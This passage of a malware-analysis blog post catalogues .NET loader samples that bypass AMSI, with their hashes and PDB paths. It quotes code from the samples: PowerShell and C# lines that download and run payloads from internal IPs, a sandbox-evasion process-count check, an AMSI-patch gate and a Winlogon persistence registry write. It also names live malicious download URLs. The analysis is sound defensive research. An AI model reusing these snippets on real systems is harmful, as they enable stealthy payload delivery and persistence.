PDB path bypass-clm.pdb
Attribute Value
Name bypass-clm.exe
SHA256 e8a44e3eaae4211e2976ee947bd02733766bc5df7e483707a328127c846f4991
TLSH 60E1D712EBD8573BEDBB4731ACB3931207B0FA408D679B6E24DD630B9C0764445A37A2
KSS upload 2024-02-10 09:31:21 UTC
VT upload 2023-10-09 08:43:07 UTC
Size 7168
PDB path C:\Users\daigua\Desktop\bypass-clm-master\bypass-clm\obj\Release\bypass-clm.pdb

Invoke-Knockout

One sample is Invoke-Knockout, though not the precompiled version on github.

Sample info
Attribute Value
Name Invoke-Knockout.dll
SHA256 1caf71a528d5576617f8a1900d24ec941b83c99b830c53c508b0ff8610836f73
TLSH CEE1B545EBF4572ADCAF0B31ECF7124609B5F7128D638B2F48DD461A5D132900DA2BA6
KSS upload 2023-02-07 17:30:35 UTC
VT upload 2022-11-15 05:18:38 UTC
Size 7168
PDB path C:\Users\reg\Downloads\Invoke-Knockout-main\Invoke-Knockout\obj\Release\Invoke-Knockout.pdb

TrollDisappearKey

The sample that made AMSI Providers registry key disappear was TrollDisappearKey, it is nearly the same source.

Sample info
Attribute Value
Name ConsoleApp1.exe
SHA256 9683cab10316c2d33c007ff0cbf648df087998da1fcd797233812029ffb0cdd6
TLSH EBE1E611EBD88B72EDB70F716D73138012BAF7054E4BEA1F64CD455B1E13A484AA2392
KSS upload 2025-08-10 14:29:59 UTC
VT upload 2025-08-11 13:13:14 UTC
Size 7168
PDB path C:\Users\Preslav\source\repos\ConsoleApp1\ConsoleApp1\obj\x64\Release\ConsoleApp1.pdb

Inceptor

As we've already mentioned there was sample vega.dll which is exactly vega.dll from inceptor.

Sample info
Attribute Value
Name vega.dll
SHA256 d9e9460320defd14a1c519b4c4d4162d6cf8f73f3bda735a7baeb9c7cf1a8898
TLSH CBD1C515D3E84B32F8BF0731ADB2A3451AF5F950CB67EB6F4596214A5D323200973762
KSS upload 2021-10-10 15:52:46 UTC
VT upload 2021-09-26 21:04:39 UTC
Size 6656
PDB path C:\Users\d3adc0de.PCOIPTEST\source\repos\vega\vega\obj\x64\Release\vega.pdb

FullBypass

4 samples are slightly modified versions of FullBypass.

Sample info
Attribute Value
Name FullBypass.exe
SHA256 2b23972804f45aa6f23b0368a64d4899cae04e2a4397b2dd7b49a9e7026bf189
TLSH DEC1D741E3F84326EDF60B72EC62820155B5B7558DB3872E29DDA25B1F162080573BB2
KSS upload 2024-05-29 03:14:45 UTC
VT upload 2024-05-20 07:17:36 UTC
Size 5632
PDB path C:\Users\pc\Downloads\FullBypass-main\FullBypass-main\FullBypass\FullBypass\obj\x64\Release\FullBypass.pdb
Attribute Value
Name FullBypass.exe
SHA256 4a0bd6631fb5109742afcec09d2378797411e92407e3f2928ca0e8e882f76422
TLSH EFC1D746E3F85725ECFB0B32EC7283001AB5F65A8D37872D25EDA2571F123444563A71
KSS upload 2024-05-29 03:02:46 UTC
VT upload 2024-05-20 07:16:27 UTC
Size 5632
PDB path C:\Users\pc\Downloads\FullBypass-main\FullBypass-main\FullBypass\FullBypass\obj\x64\Release\FullBypass.pdb
Attribute Value
Name FullBypass.exe
SHA256 9b3ea31feb51d4d14d85018e357d09d237ed7c10dc8fb6b5123e6291e50828c6
TLSH 02C1F605E3E85735ECFA0F32ECB3931106B5F22A8D63872F18E961471F162580673B62
KSS upload 2024-05-20 14:11:25 UTC
VT upload 2024-05-20 06:59:05 UTC
Size 6144
PDB path C:\Users\pc\Downloads\FullBypass-main\FullBypass-main\FullBypass\FullBypass\obj\x64\Release\FullBypass.pdb
Attribute Value
Name FullBypass.exe
SHA256 9eed620208541e0b0e855588a28848926d38a5f1d7e3b08df8efac0d31b384e2
TLSH 99C1D746E3F8572AECF60B32EC73870119B5F3558D778B2D24ADA15B1F1234445236B2
KSS upload 2024-05-29 04:17:30 UTC
VT upload 2024-05-20 07:14:51 UTC
Size 5632
PDB path C:\Users\pc\Downloads\FullBypass-main\FullBypass-main\FullBypass\FullBypass\obj\x64\Release\FullBypass.pdb

MemoryLoader

One sample's pdb path contains flareadmin and the source matches MemoryLoader.

Sample info
Attribute Value
Name ameml.exe
SHA256 95852ff73b638c04ade0e30198fcccff2b5c459e09d18b931fde69cbc4c40e03
TLSH 6CD1B515D7EC0736E9BB87316EB393405370FB918E67CA6F58D4421B6D262940A73361
KSS upload 2021-10-04 05:00:43 UTC
VT upload 2021-09-18 19:49:43 UTC
Size 6656
PDB path C:\Users\flareadmin\Downloads\MemoryLoader-main\MemoryLoader\obj\Release\ameml.pdb

Learning, RedTeaming

Another group of samples are not compiled from publically available code on GitHub but still show signs of being used for learning these techniques or being part of red teaming exercises.

Assembly from private IP

There were 4 samples that loaded assemblies from private IP addresses.

iex(new-object net.webclient).downloadstring('http://10.10.15.74/amsi.ps1')
iex(new-object net.webclient).downloadstring('http://192.168.0.103/payload')
Sample info
Attribute Value
Name Bypass.exe
SHA256 760b6dc6e78ff37f30fe6ebf2823cf2c18b9eea6257cde2818318c0a827e62c3
TLSH F5E1D615DBE8523BFC770B326CB393501670AB425D23DBAF18D9631B6E2364406B37A2
KSS upload 2023-02-05 23:23:32 UTC
VT upload 2019-11-21 15:57:03 UTC
Size 7168
PDB path C:\Users\sjaiswal\source\repos\Bypass\obj\Release\Bypass.pdb
Attribute Value
Name Bypass.exe
SHA256 7f4a457133248ff172126e5c151d7a27a66038d006b14a0c8f90d2f6b52bd374
TLSH B6E1E811E7E48B36E8B74F325DF3A31106B0B751CD5B8B2F64D962176E1225406B3BB2
KSS upload 2023-01-31 16:04:06 UTC
VT upload 2023-01-09 10:16:18 UTC
Size 7168
PDB path C:\Users\rahul\Desktop\RastaTools\CLMBypassBlogpost\Bypass\obj\Release\Bypass.pdb
byte[] rawAssembly = webClient.DownloadData("http://10.10.120.20:81/customgrunt.exe");
byte[] rawAssembly = webClient.DownloadData("http://192.168.0.18:8181/httpgrunt.exe");
Sample info
Attribute Value
Name assemblyloader.exe
SHA256 6be9b0277e5d68e424b93d2d7e9d3492707301749e75c7ea88e03dd8116df3a6
TLSH D0D1D80097E84736FCBA8B323DB39A0113B4F755CC96D75F25A4511F6E236500A22762
KSS upload 2020-05-30 06:01:42 UTC
VT upload 2020-05-03 15:30:21 UTC
Size 6656
PDB path C:\Users\IEUser\source\repos\assemblyloader\assemblyloader\obj\Debug\assemblyloader.pdb
Attribute Value
Name Amsi.exe
SHA256 df9079daf2783d6f9da523332aa1bc740c1c42304656da5dc4738b0f99bd46ff
TLSH C8D1E80097E90B37ECF90772ADB7870093B8E79588A6CB6FA5E9510B2F1335805627A1
KSS upload 2020-04-30 16:18:58 UTC
VT upload 2020-02-29 18:33:53 UTC
Size 6656
PDB path C:\Users\IEUser\source\repos\Amsi\obj\Debug\Amsi.pdb

And two other samples are very much similar to the last two, probably developed from the same ASBBypass code.

Sample info
Attribute Value
Name ASBBypass.dll
SHA256 5c715cfc91cfbe468a12f2662ea7e40a9b3dacb8457b5f006a51f64b3dadc080
TLSH CFC1C711ABE80776DCFA0B32EDF347521270E6218D73EB3F1989521A6E562544A31FA1
KSS upload 2024-09-05 10:48:40 UTC
VT upload 2022-04-18 11:35:06 UTC
Size 5632
PDB path C:\Users\a_cha\Desktop\AmsiBypass\AmsiScanBufferBypass\ASBBypass\obj\Release\ASBBypass.pdb
Attribute Value
Name ASBBypass.dll
SHA256 fea5938d4161184f73144136951523bd6ef22387f04e71f6e3a2c39be9c11c9c
TLSH 05C1C811ABE80B76DCFA0B32EDF247121770E121CD33DB3F188952166F562504A32BA0
KSS upload 2021-12-11 08:22:08 UTC
VT upload 2021-11-26 01:52:50 UTC
Size 5632
PDB path C:\Users\Cudo\Source\Repos\AmsiScanBufferBypass\ASBBypass\obj\Release\ASBBypass.pdb

One contains templated assembly download URL https://your-server.com/sliver_beacon.bin and RedTeamCode\Redteam_shellcode in pdb path.

Sample info
Attribute Value
Name Downloader.exe
SHA256 aad5599b751c7f98b3c0b721bed7cded2ace818e482166dd89f1600efbb9f074
TLSH 6DE1C702DBFC5220EDBA0B317C77434055B1FA129A27CB6D28C6221F1E237A54A63733
KSS upload 2025-03-26 11:34:42 UTC
VT upload 2025-03-19 10:09:26 UTC
Size 7168
PDB path D:\RedTeamCode\Redteam_shellcode\Downloader\Downloader\obj\Release\Downloader.pdb

Learning

Some samples indicate they are part of someone's learning process. LearningLoadAssembly is in pdb path, LoadMe.DoStuff for executed type.

Sample info
Attribute Value
Name pass_def.exe
SHA256 0fd505bd7c5e8ab36840e96532b6333d6abce681fa1dd3ea8676f0bd5bd150e7
TLSH 12E1C600DFC89636E9B60734ACF34B005AB5E794AE539FBF568C812B6D6735045A33A0
KSS upload 2024-02-02 02:32:53 UTC
VT upload 2024-02-01 01:28:54 UTC
Size 7168
PDB path E:\projects\pass_def\obj\Release\pass_def.pdb
Attribute Value
Name LoadAssembly.exe
SHA256 9739bd88c0cf2c832cdfc9fb0f348ce9c9d33dc183e75bc3163a4ee5f7b6d258
TLSH 91E1F815C7E88735ED7B4B367CB3A3400374F2198D57CB1E64D8A21BAE223084662336
KSS upload 2022-01-28 10:37:18 UTC
VT upload 2022-01-09 11:26:01 UTC
Size 7168
PDB path C:\Users\local_administrator\source\repos\LearningLoadAssembly\LoadAssembly\obj\Debug\LoadAssembly.pdb

One has shellcodes-lab-csharp in its pdb path.

Sample info
Attribute Value
Name shellcodes-lab-csharp.exe
SHA256 2f20240999ff7016fc2f3973aef5d2982a984b4237f18cc31c1a49d26ce277dc
TLSH 9AD1B601E3D847B3EDFA0A325DB3A2401779EB505D679B6FA889520F5E233084963776
KSS upload 2024-05-06 09:09:33 UTC
VT upload 2024-05-04 13:59:16 UTC
Size 6656
PDB path C:\Users\adams\source\repos\shellcodes-lab-csharp\shellcodes-lab-csharp\obj\x64\Release\shellcodes-lab-csharp.pdb

Other samples are neither compiled from publically available code, nor show signs of non-malicious intent. We consider samples malware related if their code, name or pdb path doesn't contain any hints on them having another purpose.

One sample loads GodPotato.

Sample info
Attribute Value
Name ConsoleApp2.exe
SHA256 09bbe47ea92183723cd96ec4f7cc2d1be0979926732a929cd47f6254abaffaa7
TLSH 12E1E809D7E84232ECB60E30ADB393001336F5119C639B6F64AE910B2E2775449A3B72
KSS upload 2025-09-22 06:17:43 UTC
VT upload 2025-09-21 05:45:01 UTC
Size 7168
PDB path C:\Users\tom\source\repos\ConsoleApp2\ConsoleApp2\obj\x64\Debug\ConsoleApp2.pdb

Two samples check whether there are at least 40 processes running on the system. Probably to only execute on non-honeypot or dynamic analysis systems. One actually exits if there are too few, the other one just prints and error message and continues.

if (Process.GetProcesses().Length < 40)
{
  Console.WriteLine("The number of processes in the system is less than 40. Exiting the program.");
  Environment.Exit(0);
}

The IP address 106.52.219.135 that 2b9380...60b40f sample uses to download the next payload doesn't have many detections on VirusTotal.

Sample info
Attribute Value
Name ConsoleApp3.exe
SHA256 2b9380719b592a253a0691866b69baf89da6a8f24996ed94ff837d561960b40f
TLSH B6E1C621ABE8A63AD8B70F717DF3531003B9FA558D72976E288C02076D233504AB3736
KSS upload 2023-12-02 05:05:49 UTC
VT upload 2023-12-02 13:45:56 UTC
Size 7168
PDB path C:\Users\systemctl\source\repos\ConsoleApp3\ConsoleApp3\obj\Release\ConsoleApp3.pdb
Attribute Value
Name mypowershell.exe
SHA256 ab2eeaa9ec0f9df85c093c13d02342c21ee648dfc74c3dced2f7df3228cf691a
TLSH 1AE1E611A7E48A39ECBB0B316CB393100375BBA5CE73DB5F64D8251B5D2321009B6B76
KSS upload 2024-04-20 03:58:42 UTC
VT upload 2024-04-19 03:22:35 UTC
Size 7168
PDB path C:\Users\24681\source\repos\mypowershell\mypowershell\obj\Debug\mypowershell.pdb

7 samples instantiate stagetwo.Yeet class in them and don't have PDB paths.

Sample info
Attribute Value
Name loader.dll
SHA256 273fce67e874757dc6a17dccbaafcd39a0c85f50f365412b0419cea952460979
TLSH 8FD1D712E7E45B72FDBE4B356DA3970102B0FA408E23CB5F6CDD510B1C7A2940662B66
KSS upload 2024-08-08 11:30:20 UTC
VT upload 2024-08-07 12:37:58 UTC
Size 6656
PDB path
Attribute Value
Name loader.dll
SHA256 584a5e3b628d23bc26451bd9ce136ad74c09a25f0c217faa86ebb68650465a97
TLSH F6C1D521E7E45632EDAF4B36BEE363421370F9518C67CF5F88C9410B5C362548A63B66
KSS upload 2024-08-11 03:15:09 UTC
VT upload 2024-08-07 12:43:39 UTC
Size 6144
PDB path
Attribute Value
Name loader.dll
SHA256 8a38b90576f64ef088a0a25cd5fd3cf3280d50e47f6e28392236c38869f91b5a
TLSH 42C1D711E7E82732FCAB8B72ACA3A31103F0F9508D97DA9F94D9510B4D722544671B7A
KSS upload 2024-08-14 03:38:08 UTC
VT upload 2024-08-07 12:28:10 UTC
Size 6144
PDB path
Attribute Value
Name loader.dll
SHA256 90bda3704c1f96660a903b8d50064d667528a37a86c1f3bf292bb2d6bc9e2444
TLSH 0AC1E521E7E50732EDAF8732BEE363121370F940CC67CB1F88C9910B5C362144662B66
KSS upload 2024-08-08 09:31:37 UTC
VT upload 2024-08-07 12:40:01 UTC
Size 6144
PDB path
Attribute Value
Name loader.dll
SHA256 b16812764caf00d2546fa4caf154196f9c575073a636b58dffe26412deb4e992
TLSH C5C1C629E7E42732FCAF0B39BDA3930203B4F651CD1BCE5F58C9410B5D662040A62B67
KSS upload 2024-08-08 09:31:37 UTC
VT upload 2024-08-07 12:34:20 UTC
Size 6144
PDB path
Attribute Value
Name loader.dll
SHA256 c45596e430f5bbc21deb516844be5e9be6ce9e31abbe18d3d09ee15418e53d76
TLSH 08C1D725E7E40732EDAB8B72BDE353420274F5408D6BEA5F85D9610B5C2B20086B277A
KSS upload 2024-08-08 09:31:37 UTC
VT upload 2024-08-07 12:31:24 UTC
Size 6144
PDB path
Attribute Value
Name loader.dll
SHA256 e0360b7d32312d57562671db7082a16a55a6a25a054517f28ec2371a36e30fae
TLSH C4C1C629A7E42733FCAF4B39BDA3930203B4F6518D27CE5F5CD9410B5D662440A62B67
KSS upload 2024-08-08 09:41:40 UTC
VT upload 2024-08-07 12:33:14 UTC
Size 6144
PDB path

One sample checks whether the host OS is Windows 10 and only performs AMSI patching if it is.

string? text = Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion", "ProductName", null).ToString();
if (text.Contains("10"))
{
  Patch();
}
Sample info
Attribute Value
Name Anywhere.exe
SHA256 a456a014abd090696acc77a447580fe71ab71189fe4884c6a8099a6d51a35663
TLSH 6CE1C505DFE4023AECBF0A32BD3397048774FA9589938F5F4A8D511B2DA26900A62772
KSS upload 2019-08-12 08:24:45 UTC
VT upload 2019-07-25 14:42:33 UTC
Size 7168
PDB path C:\SRC\GenericLoader\GenericLoader\obj\Release\Anywhere.pdb

One sample downloads the next stage from http://dead1.net/deadTry.exe, which appears to be quite malicious with 56 detections on VirusTotal.

Sample info
Attribute Value
Name temp.exe
SHA256 df758f6d5b4442d71450ac9756189b06ac4b0ca5534a5a80d5fab0e5e00175ec
TLSH 8EC1E70147E4A776E9BB4B326CB3970103B8F650CC67EB5E24D9215F2F227100A23B21
KSS upload 2021-07-10 08:01:03 UTC
VT upload 2021-06-19 23:30:13 UTC
Size 5632
PDB path C:\Users\admin\source\repos\temp\temp\obj\Debug\temp.pdb

One sample sets its process's main module to be automatically executed on winlogon.

Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", writable: true).SetValue("Shell", "explorer.exe," + Process.GetCurrentProcess().MainModule.FileName + ",");
Sample info
Attribute Value
Name taskhostw.exe
SHA256 9db5f4d30a7100f204ddc6dd4271a42cd61572599fabd8bb2627efa7cbd9bbf8
TLSH 35F1D804CBE84A76EDBF0F70A9F3834403B1F2518E67DA6E198C551B3E6731085A3722
KSS upload 2023-08-18 16:09:48 UTC
VT upload 2022-10-25 18:57:42 UTC
Size 7680
PDB path C:\Users\shadowspc\Desktop\taskhostw.exe\taskhostw.exe\obj\Debug\taskhostw.pdb

Summary

In this blog post we analyzed .NET assembly loader samples implementing some kind of AMSI bypass technique. These were just a few samples from our database that came as a result of a previous research about Phantom Taurus samples. Follow up investigation could involve searching for similar samples to the interesting ones detailed in this report, see how many variants there are, how they evolved. As it is visible not all samples in our malware repository or VirusTotal or any other database are threat actor related. Many of them come from ordenary people trying out public repositories, learning about bypass techniques. But there are many related to malicious actors of course, these are usually the more interesting ones.

The full list of mentioned samples is available in .csv format

Want to message us? Contact us: blog@ukatemi.com